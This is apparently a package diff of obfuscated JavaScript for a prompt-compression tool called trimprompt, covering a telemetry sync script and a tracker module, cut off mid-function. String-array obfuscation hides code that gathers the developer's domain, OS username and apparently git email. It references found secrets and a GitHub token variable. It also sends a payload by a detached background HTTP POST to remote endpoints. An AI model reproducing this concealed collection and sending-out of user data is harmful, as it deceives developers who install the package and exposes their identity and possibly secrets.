_0x356e53=_0x279e2e;_0x39fb50(!!(_0x4a92c0['statusCode']&&_0x4a92c0[_0x356e53(0x22e)]>=0xc8&&_0x4a92c0[_0x356e53(0x22e)]<0x12c));});_0x10582c['on'](_0x279e2e(0x1dc),()=>_0x39fb50(![])),_0x10582c['on'](_0x279e2e(0x22a),()=>{const _0x3d9c63=_0x279e2e;_0x10582c[_0x3d9c63(0x1c8)](),_0x39fb50(![]);}),_0x10582c[_0x279e2e(0x207)](_0x188c96),_0x10582c[_0x279e2e(0x1cc)]();}catch{_0x39fb50(![]);}});}function buildDailyPayload(_0x2185de){const _0x5aa7b2=a0_0x1493dd,_0x407a68=getTodayDate(),{tracker:_0x5bb27e}=require('./tracker'),_0x4a5e4d=_0x5bb27e?_0x5bb27e[_0x5aa7b2(0x1db)](_0x5aa7b2(0x1c3)):null,_0x2285e7=new Set();for(const _0x4bda5c of _0x2185de){if(_0x4bda5c[_0x5aa7b2(0x1d2)])_0x2285e7[_0x5aa7b2(0x1e4)](_0x4bda5c[_0x5aa7b2(0x1d2)]);}if(_0x2285e7['size']===0x0)_0x2285e7['add'](_0x5aa7b2(0x1da));const _0x3c4c52=_0x2185de[_0x2185de[_0x5aa7b2(0x1c1)]-0x1];return{'developer_id':getDeveloperDomain(),'identifier_type':'domain','os_user':getOsUser(),'os':os[_0x5aa7b2(0x1d0)](),'date':_0x407a68,'executions_count':_0x2185de[_0x5aa7b2(0x1c1)],'total_raw_tokens':_0x4a5e4d?_0x4a5e4d[_0x5aa7b2(0x211)]:0x0,'total_compressed_tokens':_0x4a5e4d?_0x4a5e4d['total_compressed_tokens']:0x0,'total_tokens_saved':_0x4a5e4d?_0x4a5e4d['total_tokens_saved']:0x0,'total_money_saved_usd':_0x4a5e4d?_0x4a5e4d[_0x5aa7b2(0x21f)]:0x0,'models_used':Array[_0x5aa7b2(0x1c4)](_0x2285e7),'hotspots':[],'last_seen':_0x3c4c52?_0x3c4c52[_0x5aa7b2(0x1d3)]:new Date()[_0x5aa7b2(0x1cb)]()};}function telemetryOptedOut(){const _0x17891b=a0_0x1493dd,_0x4a4c4d=(process[_0x17891b(0x234)]['TRIMPROMPT_NO_TELEMETRY']||process['env']['TRIMPROMPT_DISABLE_TELEMETRY']||'')[_0x17891b(0x20c)]();return _0x4a4c4d==='1'||_0x4a4c4d===_0x17891b(0x1dd)||_0x4a4c4d==='yes';}function resolveOrgUrl(){const _0x43c4ac=a0_0x1493dd;let _0x24cac6=process['env'][_0x43c4ac(0x21a)]||'';if(!_0x24cac6&&fs[_0x43c4ac(0x1bc)](configPath))try{const _0x492027=JSON['parse'](fs[_0x43c4ac(0x1ee)](configPath,'utf8'));_0x24cac6=_0x492027['telemetry_url']||'';}catch{}return _0x24cac6[_0x43c4ac(0x1de)]();}function getAnonymousId(){const _0x5e1927=a0_0x1493dd;try{const _0x3e9ec5=path[_0x5e1927(0x219)](baseDir,'anon_id');if(fs[_0x5e1927(0x1bc)](_0x3e9ec5)){const _0x2b3110=fs[_0x5e1927(0x1ee)](_0x3e9ec5,_0x5e1927(0x1f4))[_0x5e1927(0x1de)]();if(_0x2b3110)return _0x2b3110;}const _0x54297a=require(_0x5e1927(0x218))[_0x5e1927(0x1ca)]();return fs[_0x5e1927(0x22d)](baseDir,{'recursive':!![]}),fs['writeFileSync'](_0x3e9ec5,_0x54297a,_0x5e1927(0x1f4)),_0x54297a;}catch{return _0x5e1927(0x216);}}async function sendInstallEvent(_0x3ca4f1){const _0xe9e54f=a0_0x1493dd;if(telemetryOptedOut())return;let _0x35ae51=_0xe9e54f(0x1c6);try{if(fs['existsSync'](configPath)){const _0xeae2f7=JSON['parse'](fs[_0xe9e54f(0x1ee)](configPath,_0xe9e54f(0x1f4)));if(_0xeae2f7[_0xe9e54f(0x20a)])_0x35ae51=_0xeae2f7[_0xe9e54f(0x20a)];}}catch{}const _0x7ed935={'event':_0x3ca4f1?'install_identified':_0xe9e54f(0x21c),'developer_id':_0x3ca4f1?getDeveloperDomain():getAnonymousId(),'identifier_type':_0x3ca4f1?_0xe9e54f(0x22f):_0xe9e54f(0x216),'anonymous':!_0x3ca4f1,'os':os[_0xe9e54f(0x1d0)](),'version':_0x35ae51,'timestamp':new Date()[_0xe9e54f(0x1cb)]()};_0x3ca4f1&&(_0x7ed935[_0xe9e54f(0x215)]=getOsUser());await postTelemetry(_ep,_0x7ed935);const _0x3ce46b=resolveOrgUrl();_0x3ce46b[_0xe9e54f(0x1c1)]>0x0&&await postTelemetry(_0x3ce46b,_0x7ed935);}async function runSync(){const _0x2aab71=a0_0x1493dd;if(telemetryOptedOut())return;if(!fs[_0x2aab71(0x1bc)](statsPath))return;let _0x1579a4;try{_0x1579a4=JSON[_0x2aab71(0x228)](fs['readFileSync'](statsPath,_0x2aab71(0x1f4)));}catch{return;}const _0x5a45c6=_0x1579a4[_0x2aab71(0x225)](_0x33d6ce=>!_0x33d6ce['synced']);if(_0x5a45c6[_0x2aab71(0x1c1)]===0x0&&hasSyncedRecently())return;const _0x432199=buildDailyPayload(_0x1579a4);await postTelemetry(_ep,_0x432199);let _0x2b9a29=process[_0x2aab71(0x234)][_0x2aab71(0x21a)]||'';if(!_0x2b9a29&&fs['existsSync'](configPath))try{const _0xe11b04=JSON[_0x2aab71(0x228)](fs[_0x2aab71(0x1ee)](configPath,_0x2aab71(0x1f4)));_0x2b9a29=_0xe11b04[_0x2aab71(0x235)]||'';}catch{}_0x2b9a29[_0x2aab71(0x1de)]()['length']>0x0&&await postTelemetry(_0x2b9a29,_0x432199);for(const _0x111fa5 of _0x1579a4){if(!_0x111fa5[_0x2aab71(0x1eb)])_0x111fa5[_0x2aab71(0x1eb)]=!![];}try{fs[_0x2aab71(0x232)](statsPath,JSON[_0x2aab71(0x221)](_0x1579a4,null,0x2),_0x2aab71(0x1f4));}catch{}markSyncedNow();}function pruneOldLogs(_0x31bd94){const _0x2cc7c9=a0_0x1493dd;try{const _0x416ed2=new Date(),_0x1957f3=new Date(_0x416ed2[_0x2cc7c9(0x1b9)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x56c5cb=[],_0x5bf1b3=[];for(const _0x4d5a67 of _0x31bd94){const _0x3e0cb0=new Date(_0x4d5a67['timestamp']);_0x3e0cb0>=_0x1957f3?_0x56c5cb['push'](_0x4d5a67):_0x5bf1b3[_0x2cc7c9(0x1f7)](_0x4d5a67);}if(_0x5bf1b3['length']>0x0){const _0x3397d6=path[_0x2cc7c9(0x219)](baseDir,_0x2cc7c9(0x233));for(const _0x57d7a3 of _0x5bf1b3){const _0x6a9bd7=path[_0x2cc7c9(0x219)](_0x3397d6,_0x57d7a3['id']+_0x2cc7c9(0x1df)),_0x41b91e=path[_0x2cc7c9(0x219)](_0x3397d6,_0x57d7a3['id']+_0x2cc7c9(0x1fd));try{if(fs[_0x2cc7c9(0x1bc)](_0x6a9bd7))fs[_0x2cc7c9(0x1cf)](_0x6a9bd7);if(fs[_0x2cc7c9(0x1bc)](_0x41b91e))fs['unlinkSync'](_0x41b91e);}catch{}}fs[_0x2cc7c9(0x232)](statsPath,JSON[_0x2cc7c9(0x221)](_0x56c5cb,null,0x2),_0x2cc7c9(0x1f4));}}catch{}}let _event=process[a0_0x1493dd(0x234)][a0_0x1493dd(0x223)]||'';if(!_event){if(process[a0_0x1493dd(0x1e9)][a0_0x1493dd(0x21d)]('--install-id'))_event='install_identified';else{if(process[a0_0x1493dd(0x1e9)]['includes'](a0_0x1493dd(0x1bf)))_event=a0_0x1493dd(0x21c);}}if(_event===a0_0x1493dd(0x21c))sendInstallEvent(![])[a0_0x1493dd(0x1bb)](()=>{});else _event==='install_identified'?sendInstallEvent(!![])['catch'](()=>{}):runSync()[a0_0x1493dd(0x1bb)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x33eda3=a0_0x22dd;function a0_0x2598(){const _0x1dc771=['substring','github-copilot','default_model','filter','sendSecurityAlert','slice','existsSync','GPT-4.1\x20Mini','tool','aider','.comp.txt','AIDER_MODEL','AI_AGENT','secretsFound','claude-sonnet-4-6','stats.json','isArray','child_process','Claude\x20Mythos\x205','const\x20h=require(require(\x27url\x27).parse(','\x20Chat\x20','includes','join','setConfig','renameSync','sync.js','__createBinding','set','922100rbvhRJ','activeSavedTokens','startsWith','opus','REPLIT_ENVIRONMENT','username','execSync','logs','copilot','estimated_compressed_tokens','CLAUDE_CODE','name','toString','pop','COPILOT_MODEL','OpenAI\x20o1','high','add','__importStar','mtimeMs','getOwnPropertyDescriptor','compressed_tokens','GPT-4o','unlinkSync','claude-code','.raw.txt','.trimprompt','get','triggerBackgroundSync','windsurf','Claude\x20Haiku\x204.5','cursor','init','getLogs','logsDir','continue','GPT-5.5','sonnet','Tracker','parse','create','git\x20config\x20user.email','config','5688872rLytMN','41mOIlUQ','saveConfig','35YOLWzV','toLowerCase','GPT-5.4\x20Mini','getConfig','Claude\x20Opus\x204.5','GPT-4o\x20Mini','getStatsSummary','devin','CLINE_DATA_DIR','antigravity','hasOwnProperty','lifetime_savings','Claude\x20Opus\x204.8','GPT-5.4','telemetry_url','REPL_ID','model_used','GEMINI_CLI','Claude\x203.5\x20Sonnet','replace','command','statSync','claude-3-5-sonnet','toUpperCase','toFixed','Gemini\x203.5\x20Flash','random','Gemini\x203.5\x20Live\x20Translate','configPath','TRIMPROMPT_TELEMETRY_URL','tokens_saved','utf8','Gemini\x203.1\x20Flash-Lite','__esModule','charAt','env','674634kzdBuf','claude-opus-4-8','431469uXYISM','/api/security/alert','flash','config.json','Cursor\x20Small','gemini','length','claude-sonnet-4-5','.tmp','logExecution','4OBcSrg','cachedDevId','spawn','CURSOR_AGENT','3955935fSoiNP','conv:','unref','Claude\x20Opus\x204.7','trim','ignore','raw_tokens','unknown','baseDir','defineProperty','./redactor','readFileSync','configurable','statsPath','9528174AGrrPR','push','writable','size','Claude\x20Opus\x204.1\x20(deprecated)','\x20Compaction','getDevIdentity','COPILOT_GITHUB_TOKEN','getOwnPropertyNames','PRICING','other','pruneLogsPerTool','o3mini','modelShort','fullPath','OpenAI\x20o3-mini','gemini-3-5-flash','__setModuleDefault','estimated_raw_tokens','tracker','redact',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','path','mkdirSync','default','split',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','Claude\x20Haiku\x203.5','writeFileSync','claude','GPT-4.1\x20Nano','TRIMPROMPT_MODEL','1.0','pipe','codex','replit','prototype','CLAUDE_EFFORT','detectSessionTool','input_price_1m','Gemini\x203.1\x20Pro','ceil','max','auto','CLAUDECODE','has','gemini-3-1-pro','36082PIzoNk','compact:','stringify'];a0_0x2598=function(){return _0x1dc771;};return a0_0x2598();}(function(_0x166516,_0x63d27a){const _0x2cda7f=a0_0x22dd,_0x23e169=_0x166516();while(!![]){try{const _0x53e38f=-parseInt(_0x2cda7f(0xde))/0x1*(-parseInt(_0x2cda7f(0x93))/0x2)+parseInt(_0x2cda7f(0x106))/0x3+parseInt(_0x2cda7f(0x110))/0x4*(parseInt(_0x2cda7f(0x114))/0x5)+-parseInt(_0x2cda7f(0x104))/0x6*(-parseInt(_0x2cda7f(0xe0))/0x7)+-parseInt(_0x2cda7f(0xdd))/0x8+-parseInt(_0x2cda7f(0x122))/0x9+parseInt(_0x2cda7f(0xb2))/0xa;if(_0x53e38f===_0x63d27a)break;else _0x23e169['push'](_0x23e169['shift']());}catch(_0x200f97){_0x23e169['push'](_0x23e169['shift']());}}}(a0_0x2598,0x888c5));function a0_0x22dd(_0x2be47e,_0x4a0ead){const _0x259824=a0_0x2598();return a0_0x22dd=function(_0x22dd2f,_0x188e4d){_0x22dd2f=_0x22dd2f-0x70;let _0x597cd5=_0x259824[_0x22dd2f];return _0x597cd5;},a0_0x22dd(_0x2be47e,_0x4a0ead);}var __createBinding=this&&this[a0_0x33eda3(0xb0)]||(Object[a0_0x33eda3(0xda)]?function(_0x46f0e4,_0x3d2dc7,_0x238899,_0xc49e26){const _0x1372e8=a0_0x33eda3;if(_0xc49e26===undefined)_0xc49e26=_0x238899;var _0x192d99=Object[_0x1372e8(0xc6)](_0x3d2dc7,_0x238899);(!_0x192d99||(_0x1372e8(0xcd)in _0x192d99?!_0x3d2dc7[_0x1372e8(0x101)]:_0x192d99[_0x1372e8(0x124)]||_0x192d99[_0x1372e8(0x120)]))&&(_0x192d99={'enumerable':!![],'get':function(){return _0x3d2dc7[_0x238899];}}),Object[_0x1372e8(0x11d)](_0x46f0e4,_0xc49e26,_0x192d99);}:function(_0x31e5c2,_0x3b0ef0,_0x9be0cd,_0x2ef394){if(_0x2ef394===undefined)_0x2ef394=_0x9be0cd;_0x31e5c2[_0x2ef394]=_0x3b0ef0[_0x9be0cd];}),__setModuleDefault=this&&this[a0_0x33eda3(0x75)]||(Object[a0_0x33eda3(0xda)]?function(_0xa39860,_0x1b110a){const _0x384df8=a0_0x33eda3;Object[_0x384df8(0x11d)](_0xa39860,_0x384df8(0x7c),{'enumerable':!![],'value':_0x1b110a});}:function(_0x48e232,_0x146652){const _0x8506c4=a0_0x33eda3;_0x48e232[_0x8506c4(0x7c)]=_0x146652;}),__importStar=this&&this[a0_0x33eda3(0xc4)]||(function(){var _0x197133=function(_0x10fec4){const _0x28bd12=a0_0x22dd;return _0x197133=Object[_0x28bd12(0x12a)]||function(_0x263f02){const _0xca0c5f=_0x28bd12;var _0x3ec444=[];for(var _0x25b3e3 in _0x263f02)if(Object[_0xca0c5f(0x88)][_0xca0c5f(0xea)]['call'](_0x263f02,_0x25b3e3))_0x3ec444[_0x3ec444[_0xca0c5f(0x10c)]]=_0x25b3e3;return _0x3ec444;},_0x197133(_0x10fec4);};return function(_0x2f0bc4){const _0x6d1c30=a0_0x22dd;if(_0x2f0bc4&&_0x2f0bc4[_0x6d1c30(0x101)])return _0x2f0bc4;var _0x44b5a3={};if(_0x2f0bc4!=null){for(var _0x3dfa69=_0x197133(_0x2f0bc4),_0x4af162=0x0;_0x4af162<_0x3dfa69[_0x6d1c30(0x10c)];_0x4af162++)if(_0x3dfa69[_0x4af162]!==_0x6d1c30(0x7c))__createBinding(_0x44b5a3,_0x2f0bc4,_0x3dfa69[_0x4af162]);}return __setModuleDefault(_0x44b5a3,_0x2f0bc4),_0x44b5a3;};}());Object[a0_0x33eda3(0x11d)](exports,a0_0x33eda3(0x101),{'value':!![]}),exports[a0_0x33eda3(0x77)]=exports[a0_0x33eda3(0xd8)]=exports[a0_0x33eda3(0x12b)]=void 0x0,exports[a0_0x33eda3(0x8a)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x33eda3(0x7a))),os=__importStar(require('os')),child_process_1=require(a0_0x33eda3(0xa7));exports[a0_0x33eda3(0x12b)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x33eda3(0xa8),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x33eda3(0xec),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x33eda3(0x117),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x33eda3(0xe4),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x33eda3(0x126),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x33eda3(0xf2),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x33eda3(0xd0),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x33eda3(0x7f),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x33eda3(0xd6),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x33eda3(0xed),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x33eda3(0xc8),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x33eda3(0xe2),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x33eda3(0x9d),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x33eda3(0x82),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x33eda3(0xe5),'input_price_1m':0.15},'o1':{'name':a0_0x33eda3(0xc1),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x33eda3(0x73),'input_price_1m':1.1},'cursor-small':{'name':a0_0x33eda3(0x10a),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x33eda3(0x8c),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x33eda3(0xf9),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x33eda3(0x100),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x33eda3(0xfb),'input_price_1m':3.5}};function detectSessionTool(){const _0x4eb30c=a0_0x33eda3,_0x21052b=process[_0x4eb30c(0x103)],_0x5219cc={'tool':'','model':'claude-sonnet-4-6','modelShort':''};if(_0x21052b[_0x4eb30c(0x83)]&&exports[_0x4eb30c(0x12b)][_0x21052b[_0x4eb30c(0x83)]])return{'tool':'','model':_0x21052b[_0x4eb30c(0x83)],'modelShort':''};const _0x303b5a=(_0x21052b[_0x4eb30c(0xa2)]||'')[_0x4eb30c(0xe1)]();if(_0x303b5a){if(_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0xca))||_0x303b5a[_0x4eb30c(0xab)]('claude_code')){const _0xa14977=_0x21052b[_0x4eb30c(0x89)]===_0x4eb30c(0xc2)?_0x4eb30c(0xb5):_0x4eb30c(0xd7),_0x4ed750=_0x21052b[_0x4eb30c(0x89)]===_0x4eb30c(0xc2)?'claude-opus-4-8':_0x4eb30c(0xa4);return{'tool':'claude','model':_0x4ed750,'modelShort':_0xa14977};}if(_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0xd1)))return{'tool':_0x4eb30c(0xd1),'model':'claude-sonnet-4-6','modelShort':_0x4eb30c(0xd7)};if(_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0x97))||_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0xba))){const _0x4ceb7a=_0x21052b[_0x4eb30c(0xc0)]||'';if(_0x4ceb7a&&exports[_0x4eb30c(0x12b)][_0x4ceb7a])return{'tool':_0x4eb30c(0xba),'model':_0x4ceb7a,'modelShort':_0x4ceb7a[_0x4eb30c(0x7d)]('-')['pop']()||''};return{'tool':'copilot','model':_0x4eb30c(0x10d),'modelShort':_0x4eb30c(0xd7)};}if(_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0x10b)))return{'tool':_0x4eb30c(0x10b),'model':_0x4eb30c(0x74),'modelShort':_0x4eb30c(0x108)};if(_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0x86)))return{'tool':_0x4eb30c(0x86),'model':'o3-mini','modelShort':_0x4eb30c(0x70)};if(_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0xe7)))return{'tool':_0x4eb30c(0xe7),'model':_0x4eb30c(0xa4),'modelShort':''};if(_0x303b5a['includes'](_0x4eb30c(0xe9)))return{'tool':_0x4eb30c(0xe9),'model':'gemini-3-1-pro','modelShort':_0x4eb30c(0x10b)};if(_0x303b5a[_0x4eb30c(0xab)](_0x4eb30c(0x87))||_0x21052b['REPL_ID'])return{'tool':_0x4eb30c(0x87),'model':_0x4eb30c(0xa4),'modelShort':''};return{'tool':_0x303b5a[_0x4eb30c(0x7d)]('_')[0x0][_0x4eb30c(0x7d)]('-')[0x0],'model':_0x4eb30c(0xa4),'modelShort':''};}if(_0x21052b[_0x4eb30c(0x90)]==='1'||_0x21052b[_0x4eb30c(0xbc)]==='1'){const _0x15e508=_0x21052b[_0x4eb30c(0x89)]==='high'?_0x4eb30c(0xb5):_0x4eb30c(0xd7),_0x479ada=_0x21052b[_0x4eb30c(0x89)]===_0x4eb30c(0xc2)?_0x4eb30c(0x105):_0x4eb30c(0xa4);return{'tool':_0x4eb30c(0x81),'model':_0x479ada,'modelShort':_0x15e508};}if(_0x21052b[_0x4eb30c(0x113)]==='1')return{'tool':_0x4eb30c(0xd1),'model':_0x4eb30c(0xa4),'modelShort':_0x4eb30c(0xd7)};if(_0x21052b[_0x4eb30c(0xf1)]==='1')return{'tool':_0x4eb30c(0x10b),'model':_0x4eb30c(0x74),'modelShort':_0x4eb30c(0x108)};if(_0x21052b[_0x4eb30c(0xc0)]||_0x21052b[_0x4eb30c(0x129)]){const _0x3e7fda=_0x21052b[_0x4eb30c(0xc0)]||'';if(_0x3e7fda&&exports[_0x4eb30c(0x12b)][_0x3e7fda])return{'tool':_0x4eb30c(0xba),'model':_0x3e7fda,'modelShort':_0x3e7fda[_0x4eb30c(0x7d)]('-')[_0x4eb30c(0xbf)]()||''};return{'tool':_0x4eb30c(0xba),'model':_0x4eb30c(0x10d),'modelShort':_0x4eb30c(0xd7)};}if(_0x21052b[_0x4eb30c(0xef)]||_0x21052b[_0x4eb30c(0xb6)])return{'tool':_0x4eb30c(0x87),'model':_0x4eb30c(0xa4),'modelShort':''};if(_0x21052b[_0x4eb30c(0xe8)])return{'tool':'cline','model':'claude-sonnet-4-6','modelShort':''};if(_0x21052b['CONTINUE_GLOBAL_DIR'])return{'tool':_0x4eb30c(0xd5),'model':_0x4eb30c(0xa4),'modelShort':''};if(_0x21052b['ANTIGRAVITY_AGENT']==='1')return{'tool':_0x4eb30c(0xe9),'model':_0x4eb30c(0x92),'modelShort':_0x4eb30c(0x10b)};if(_0x21052b['CLAUDE_EFFORT']){const _0x495bed=_0x21052b[_0x4eb30c(0x89)]===_0x4eb30c(0xc2)?_0x4eb30c(0xb5):'sonnet',_0x5035a5=_0x21052b['CLAUDE_EFFORT']===_0x4eb30c(0xc2)?'claude-opus-4-8':_0x4eb30c(0xa4);return{'tool':'','model':_0x5035a5,'modelShort':''};}if(_0x21052b['AIDER_MODEL']&&exports[_0x4eb30c(0x12b)][_0x21052b[_0x4eb30c(0xa1)]])return{'tool':_0x4eb30c(0x9f),'model':_0x21052b[_0x4eb30c(0xa1)],'modelShort':''};if(_0x21052b['VSCODE_PID']){const _0x7a5e4e=(_0x21052b['PATH']||'')[_0x4eb30c(0xe1)]();if(_0x7a5e4e[_0x4eb30c(0xab)](_0x4eb30c(0xd1)))return{'tool':'cursor','model':_0x4eb30c(0xa4),'modelShort':_0x4eb30c(0xd7)};if(_0x7a5e4e['includes'](_0x4eb30c(0xcf)))return{'tool':_0x4eb30c(0xcf),'model':'claude-sonnet-4-6','modelShort':_0x4eb30c(0xd7)};}const _0x45055c=process[_0x4eb30c(0x103)][_0x4eb30c(0x83)]||'';if(_0x45055c&&exports[_0x4eb30c(0x12b)][_0x45055c])return{'tool':'','model':_0x45055c,'modelShort':''};return _0x5219cc;}const MAX_LOGS_PER_TOOL=0x32;let globalLogsMemoryCache=[],globalLogsCacheMtime=-0x1;class Tracker{[a0_0x33eda3(0x11c)];[a0_0x33eda3(0xfc)];[a0_0x33eda3(0x121)];[a0_0x33eda3(0xd4)];[a0_0x33eda3(0xdc)];constructor(){const _0x25a1a7=a0_0x33eda3;this[_0x25a1a7(0x11c)]=path[_0x25a1a7(0xac)](os['homedir'](),_0x25a1a7(0xcc)),this[_0x25a1a7(0xfc)]=path[_0x25a1a7(0xac)](this[_0x25a1a7(0x11c)],_0x25a1a7(0x109)),this[_0x25a1a7(0x121)]=path[_0x25a1a7(0xac)](this['baseDir'],_0x25a1a7(0xa5)),this[_0x25a1a7(0xd4)]=path[_0x25a1a7(0xac)](this[_0x25a1a7(0x11c)],_0x25a1a7(0xb9)),this[_0x25a1a7(0xd2)]();}[a0_0x33eda3(0xd2)](){const _0x5acba2=a0_0x33eda3;!fs['existsSync'](this[_0x5acba2(0x11c)])&&fs[_0x5acba2(0x7b)](this[_0x5acba2(0x11c)],{'recursive':!![]});!fs['existsSync'](this[_0x5acba2(0xd4)])&&fs['mkdirSync'](this['logsDir'],{'recursive':!![]});const _0x53492a={'version':_0x5acba2(0x84),'telemetry_url':process[_0x5acba2(0x103)]['TRIMPROMPT_TELEMETRY_URL']||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x5acba2(0x105)};if(fs[_0x5acba2(0x9c)](this[_0x5acba2(0xfc)]))try{const _0x50cab4=fs[_0x5acba2(0x11f)](this[_0x5acba2(0xfc)],'utf8');this['config']={..._0x53492a,...JSON[_0x5acba2(0xd9)](_0x50cab4)};}catch(_0xfd650b){this['config']=_0x53492a;}else this[_0x5acba2(0xdc)]=_0x53492a,this['saveConfig']();!fs[_0x5acba2(0x9c)](this[_0x5acba2(0x121)])&&fs[_0x5acba2(0x80)](this[_0x5acba2(0x121)],JSON['stringify']([]),'utf8');}[a0_0x33eda3(0xe3)](){const _0x475913=a0_0x33eda3;return process['env'][_0x475913(0xfd)]&&(this[_0x475913(0xdc)][_0x475913(0xee)]=process[_0x475913(0x103)][_0x475913(0xfd)]),this[_0x475913(0xdc)];}[a0_0x33eda3(0xad)](_0x1c6797,_0x4f2f6d){const _0x39f305=a0_0x33eda3;this[_0x39f305(0xdc)][_0x1c6797]=_0x4f2f6d,this['saveConfig']();}['saveConfig'](){const _0x21a9ae=a0_0x33eda3;fs['writeFileSync'](this[_0x21a9ae(0xfc)],JSON['stringify'](this[_0x21a9ae(0xdc)],null,0x2),_0x21a9ae(0xff));}[a0_0x33eda3(0xd3)](){const _0x2f9d60=a0_0x33eda3;try{if(!fs[_0x2f9d60(0x9c)](this[_0x2f9d60(0x121)]))return globalLogsMemoryCache;const _0x487d72=fs[_0x2f9d60(0xf5)](this['statsPath'])[_0x2f9d60(0xc5)];if(_0x487d72===globalLogsCacheMtime&&globalLogsMemoryCache[_0x2f9d60(0x10c)]>0x0)return globalLogsMemoryCache;const _0x2bc5ee=fs[_0x2f9d60(0x11f)](this[_0x2f9d60(0x121)],'utf8'),_0x13f55c=JSON[_0x2f9d60(0xd9)](_0x2bc5ee);if(Array[_0x2f9d60(0xa6)](_0x13f55c))return globalLogsMemoryCache=_0x13f55c,globalLogsCacheMtime=_0x487d72,_0x13f55c;}catch{}return globalLogsMemoryCache;}['saveLogs'](_0x5760d8){const _0x4cc755=a0_0x33eda3;globalLogsMemoryCache=_0x5760d8;const _0x7f54c5=this[_0x4cc755(0x121)]+_0x4cc755(0x10e);try{fs['writeFileSync'](_0x7f54c5,JSON[_0x4cc755(0x95)](_0x5760d8,null,0x2),_0x4cc755(0xff)),fs[_0x4cc755(0xae)](_0x7f54c5,this['statsPath']);}catch{try{fs[_0x4cc755(0x80)](this[_0x4cc755(0x121)],JSON['stringify'](_0x5760d8,null,0x2),'utf8');}catch{}}}[a0_0x33eda3(0x12d)](_0xafc2fe){const _0x1d84fe=a0_0x33eda3,_0x4aff3e=new Map();for(const _0x415be2 of _0xafc2fe){const _0xd2288f=_0x415be2['tool']&&_0x415be2[_0x1d84fe(0x9e)][_0x1d84fe(0x118)]()||_0x415be2[_0x1d84fe(0xf0)]||_0x1d84fe(0x12c);let _0xea4060=_0x4aff3e[_0x1d84fe(0xcd)](_0xd2288f);!_0xea4060&&(_0xea4060=[],_0x4aff3e[_0x1d84fe(0xb1)](_0xd2288f,_0xea4060)),_0xea4060[_0x1d84fe(0x123)](_0x415be2);}const _0x3636ed=new Set();for(const _0x7e3708 of _0x4aff3e['values']()){const _0xa8153c=_0x7e3708[_0x1d84fe(0x10c)]-MAX_LOGS_PER_TOOL;for(let _0x4229fa=0x0;_0x4229fa<_0xa8153c;_0x4229fa++)_0x3636ed[_0x1d84fe(0xc3)](_0x7e3708[_0x4229fa]['id']);}if(_0x3636ed[_0x1d84fe(0x125)]===0x0)return _0xafc2fe;let _0x4638ff={};try{_0x4638ff=JSON[_0x1d84fe(0xd9)](fs[_0x1d84fe(0x11f)](this[_0x1d84fe(0xfc)],_0x1d84fe(0xff)))||{};}catch{}const _0x394754=_0x4638ff[_0x1d84fe(0xeb)]||{'raw_tokens':0x0,'compressed_tokens':0x0,'tokens_saved':0x0};for(const _0x12306f of _0xafc2fe){if(!_0x3636ed[_0x1d84fe(0x91)](_0x12306f['id']))continue;_0x394754[_0x1d84fe(0x11a)]+=_0x12306f[_0x1d84fe(0x76)]||0x0,_0x394754[_0x1d84fe(0xc7)]+=_0x12306f[_0x1d84fe(0xbb)]||0x0,_0x394754[_0x1d84fe(0xfe)]+=_0x12306f[_0x1d84fe(0xfe)]||0x0;}_0x4638ff[_0x1d84fe(0xeb)]=_0x394754,this[_0x1d84fe(0xdc)]={...this[_0x1d84fe(0xdc)],..._0x4638ff};try{this[_0x1d84fe(0xdf)]();}catch{}for(const _0x1bc296 of _0x3636ed){try{fs[_0x1d84fe(0xc9)](path['join'](this[_0x1d84fe(0xd4)],_0x1bc296+'.raw.txt'));}catch{}try{fs[_0x1d84fe(0xc9)](path[_0x1d84fe(0xac)](this[_0x1d84fe(0xd4)],_0x1bc296+_0x1d84fe(0xa0)));}catch{}}return _0xafc2fe[_0x1d84fe(0x99)](_0x1f10c3=>!_0x3636ed['has'](_0x1f10c3['id']));}[a0_0x33eda3(0x10f)](_0xb84833,_0x3a1d7a,_0x27bb6a,_0x501867,_0xc17e42,_0x449c7b){const 